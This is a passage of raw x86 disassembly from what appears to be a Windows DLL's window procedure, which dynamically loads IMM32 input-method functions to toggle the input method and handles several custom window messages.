mov byte [esp + 0x3e8], bl
mov byte [esp + 0x3e9], 0x6c
mov byte [esp + 0x3ea], bl
mov byte [esp + 0x3eb], 0x61
mov byte [esp + 0x3ec], 0x73
mov byte [esp + 0x3ed], bl
mov byte [esp + 0x3ee], 0x43
mov byte [esp + 0x3ef], 0x6f
mov byte [esp + 0x3f0], 0x6e
mov byte [esp + 0x3f1], 0x74
mov byte [esp + 0x3f2], bl
mov byte [esp + 0x3f3], 0x78
lea edx, [esp + 0x3e4]
push edx
push esi
mov byte [esp + 0x3fc], 0x74
mov byte [esp + 0x3fd], 0
call edi
mov ebx, eax
mov eax, dword [0x102c2aa0]
push eax
call ebp
mov edi, eax
push edi
call dword [esp + 0x1c]
test eax, eax
jne 0x100b6c50
push 1
push edi
call dword [esp + 0x30]
mov ecx, dword [0x102c2aa0]
push edi
push ecx
call ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
lea edx, [esp + 0x3d8]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x100b4406
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [esp + 0x430]
push eax
mov bl, 0x65
push esi
mov byte [esp + 0x438], 0x49
mov byte [esp + 0x439], 0x6d
mov byte [esp + 0x43a], 0x6d
mov byte [esp + 0x43b], 0x47
mov byte [esp + 0x43c], bl
mov byte [esp + 0x43d], 0x74
mov byte [esp + 0x43e], 0x43
mov byte [esp + 0x43f], 0x6f
mov byte [esp + 0x440], 0x6e
mov byte [esp + 0x441], 0x74
mov byte [esp + 0x442], bl
mov byte [esp + 0x443], 0x78
mov byte [esp + 0x444], 0x74
mov byte [esp + 0x445], 0
call edi
lea ecx, [esp + 0x410]
push ecx
push esi
mov ebp, eax
mov byte [esp + 0x418], 0x49
mov byte [esp + 0x419], 0x6d
mov byte [esp + 0x41a], 0x6d
mov byte [esp + 0x41b], 0x47
mov byte [esp + 0x41c], bl
mov byte [esp + 0x41d], 0x74
mov byte [esp + 0x41e], 0x4f
mov byte [esp + 0x41f], 0x70
mov byte [esp + 0x420], bl
mov byte [esp + 0x421], 0x6e
mov byte [esp + 0x422], 0x53
mov byte [esp + 0x423], 0x74
mov byte [esp + 0x424], 0x61
mov byte [esp + 0x425], 0x74
mov byte [esp + 0x426], 0x75
mov byte [esp + 0x427], 0x73
mov byte [esp + 0x428], 0
call edi
lea edx, [esp + 0x3fc]
push edx
push esi
mov dword [esp + 0x20], eax
mov byte [esp + 0x404], 0x49
mov byte [esp + 0x405], 0x6d
mov byte [esp + 0x406], 0x6d
mov byte [esp + 0x407], 0x53
mov byte [esp + 0x408], bl
mov byte [esp + 0x409], 0x74
mov byte [esp + 0x40a], 0x4f
mov byte [esp + 0x40b], 0x70
mov byte [esp + 0x40c], bl
mov byte [esp + 0x40d], 0x6e
mov byte [esp + 0x40e], 0x53
mov byte [esp + 0x40f], 0x74
mov byte [esp + 0x410], 0x61
mov byte [esp + 0x411], 0x74
mov byte [esp + 0x412], 0x75
mov byte [esp + 0x413], 0x73
mov byte [esp + 0x414], 0
call edi
mov dword [esp + 0x28], eax
mov byte [esp + 0x3e4], 0x49
mov byte [esp + 0x3e5], 0x6d
mov byte [esp + 0x3e6], 0x6d
mov byte [esp + 0x3e7], 0x52
mov byte [esp + 0x3e8], bl
mov byte [esp + 0x3e9], 0x6c
mov byte [esp + 0x3ea], bl
mov byte [esp + 0x3eb], 0x61
mov byte [esp + 0x3ec], 0x73
mov byte [esp + 0x3ed], bl
mov byte [esp + 0x3ee], 0x43
mov byte [esp + 0x3ef], 0x6f
mov byte [esp + 0x3f0], 0x6e
mov byte [esp + 0x3f1], 0x74
mov byte [esp + 0x3f2], bl
mov byte [esp + 0x3f3], 0x78
lea eax, [esp + 0x3e4]
push eax
push esi
mov byte [esp + 0x3fc], 0x74
mov byte [esp + 0x3fd], 0
call edi
mov ecx, dword [0x102c2aa0]
push ecx
mov ebx, eax
call ebp
mov edi, eax
push edi
call dword [esp + 0x1c]
test eax, eax
je 0x100b6eec
push 0
push edi
call dword [esp + 0x30]
mov edx, dword [0x102c2aa0]
push edi
push edx
call ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x847
jne 0x100b6f40
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x102c2ad4], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x848
jne 0x100b6f71
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [0x102c2ad8], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x840
jne 0x100b6f9c
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x841
jne 0x100b6fc7
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x849
jne 0x100b6fff
mov eax, dword [esp + 0x660]
cmp eax, ecx
je 0x100b6fdf
mov dword [0x102c2ae4], eax
cmp ebx, ecx
je 0x100b4406
mov eax, 1
mov dword [0x102c2ae0], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x84a
jne 0x100b70ed
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
cmp ebx, ecx
je 0x100b70d5
push 0xff
lea eax, [esp + 0x555]
push 0
push eax
mov byte [0x102c2af0], 0
mov byte [esp + 0x55c], 0
call fcn.100f6b80
mov ecx, dword [esp + 0x24]
add esp, 0xc
push ecx
push 3
call fcn.100d0fd0
add esp, 4
push eax
lea edx, [esp + 0x558]
push edx
call fcn.100f7960
add esp, 0xc
lea eax, [esp + 0x550]
push eax
push 0
push 0xf001f
call fcn.100a96a0
mov edi, eax
test edi, edi
je 0x100b70b9
push 0
push 0
push 0
push 6
push edi
call fcn.100a9650
mov esi, 0x102c2af0
mov ecx, eax
sub esi, eax
jmp 0x100b70a0
mov dl, byte [ecx]
mov byte [ecx + esi], dl
add ecx, 1
test dl, dl
jne 0x100b70a0
push eax
call fcn.100a9680
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
mov dword [0x102c2ae8], 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
mov eax, 1
mov dword [0x102c2ae8], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x84b
jne 0x100b7125
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
xor edx, edx
cmp ebx, ecx
setne dl
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [0x10199660], edx
jmp 0x100b722a
cmp edi, 0x854
jne 0x100b7154
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, dword [0x102c2ab0]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x869
jne 0x100b717e
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x84c
jne 0x100b722a
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov esi, 1
push esi
mov dword [0x10199660], 0
call fcn.100bb460
add esp, 4
mov dword [0x10199660], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
jmp 0x100b722a
cmp dword [0x102c2aa0], ecx
je 0x100b722a
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b71e4
cmp dword [0x102c2ac4], eax
je 0x100b7207
cmp dword [0x102c2adc], 0
jne 0x100b7207
mov ecx, dword [esp + 0x660]
mov edx, dword [esp + 0x20]
push ebx
push ecx
push edi
push edx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
movsx eax, bx
shr ebx, 0x10
cmp dword [0x102c2ad4], 0
movsx ecx, bx
jne 0x100b722a
movzx ecx, cx
movzx edx, ax
shl ecx, 0x10
or ecx, edx
mov dword [0x102c2a94], ecx
mov eax, dword [esp + 0x38]
test eax, eax
je 0x100b7243
push eax
call fcn.100a9680
mov eax, dword [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esp + 0x14], 1
jne 0x100b7253
mov eax, dword [esp + 0x10]
jmp 0x100b4255
mov eax, dword [fcn.102c3358]
test eax, eax
mov ecx, dword [esp + 0x668]
je 0x100b728b
test ecx, ecx
jne 0x100b728b
mov ecx, dword [esp + 0x664]
mov edx, dword [esp + 0x660]
push ecx
mov ecx, dword [esp + 0x660]
push edx
mov edx, dword [esp + 0x28]
push ecx
push edx
call eax
jmp 0x100b4255
mov eax, dword [0x102c3364]
test eax, eax
je 0x100b4253
test ecx, ecx
je 0x100b4253
mov edx, dword [esp + 0x664]
push edx
mov edx, dword [esp + 0x664]
push edx
mov edx, dword [esp + 0x664]
push edx
mov edx, dword [esp + 0x2c]
push edx
push ecx
call eax
jmp 0x100b4255